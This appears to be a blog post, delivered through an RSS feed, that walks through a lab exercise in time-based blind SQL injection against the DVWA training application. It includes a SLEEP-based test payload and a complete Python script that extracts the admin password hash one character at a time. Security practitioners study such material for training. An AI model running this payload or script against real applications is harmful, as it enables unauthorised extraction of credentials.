            <content:encoded><![CDATA[<p>What is Blind SQL Injection?</p><p>Blind SQL injection occurs when an application is vulnerable to SQL injection but does not return error messages or data directly. Instead, you infer information by observing behavior — like response time or true/false responses.</p><p>Time-based blind SQL injection** uses commands like `SLEEP(5)` to cause intentional delays. If the response takes 5 seconds, you know the condition was true.</p><p>The Target</p><p>I used DVWA (Damn Vulnerable Web Application) running on OWASP BWA:</p><ul><li>IP: 192.168.56.101<br>- Target: Admin password hash (32-character MD5)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZpTW7XK2LCny4KrVTQS2A.png" /></figure><p>Manual Test</p><p>First, I confirmed the vulnerability with a simple sleep command:</p><p>`1&#39; AND SLEEP(5) — `</p><p>The page took exactly 5 seconds to respond. Vulnerability confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p1JzkaULlMUWF7O_ctpYDg.png" /></figure><p>The Challenge</p><p>Extracting a 32-character hash manually would take hours. I needed automation.</p><p>The Python Script</p><p>I wrote a script that:</p><p>1. Tests each position (1 to 32)<br>2. Tries each possible character (0–9, a-f)<br>3. Measures response time<br>4. Builds the hash character by character</p><p>Key function:</p><p>```python<br>def test_character(position, character):<br> payload = f”1&#39; AND IF(SUBSTRING((SELECT password FROM users WHERE user=’admin’),{position},1)=’{character}’, SLEEP(3), 0) AND ‘1’=’1&quot;<br> start = time.time()<br> requests.get(url, params={“id”: payload}, cookies=cookies)<br> elapsed = time.time() — start<br> return elapsed &gt; 2.5</p><p>#!/usr/bin/env python3<br>import requests<br>import time<br>import sys</p><p>url = “<a href="http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/">http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/</a>&quot;</p><p>cookies = {<br> “security”: “low”,<br> “PHPSESSID”: “YOUR_COOKIE_HERE”<br>}</p><p>chars = “0123456789abcdef”</p><p>def test_character(position, character):<br> payload = f”1&#39; AND IF(SUBSTRING((SELECT password FROM users WHERE user=’admin’),{position},1)=’{character}’, SLEEP(3), 0) AND ‘1’=’1&quot;<br> params = {“id”: payload, “Submit”: “Submit”}<br> start = time.time()<br> try:<br> requests.get(url, params=params, cookies=cookies, timeout=10)<br> return time.time() — start &gt; 2.5<br> except:<br> return False</p><p>def extract_hash():<br> hash_value = “”<br> print(“=” * 50)<br> print(“Blind SQL Injection — Admin Password Hash Extractor”)<br> print(“=” * 50)<br> <br> for position in range(1, 33):<br> for char in chars:<br> sys.stdout.write(f”\rPosition {position}: testing ‘{char}’…”)<br> sys.stdout.flush()<br> if test_character(position, char):<br> hash_value += char<br> print(f”\rPosition {position}: found ‘{char}’ -&gt; Hash: {hash_value}”)<br> break<br> return hash_value</p><p>if __name__ == “__main__”:<br> result = extract_hash()<br> print(f”\nFull Hash: {result}”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MjLo5LozVH3SyK2HVRwuqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_sYDuWiLyA3dAwENDPx_Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d560906f5dc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>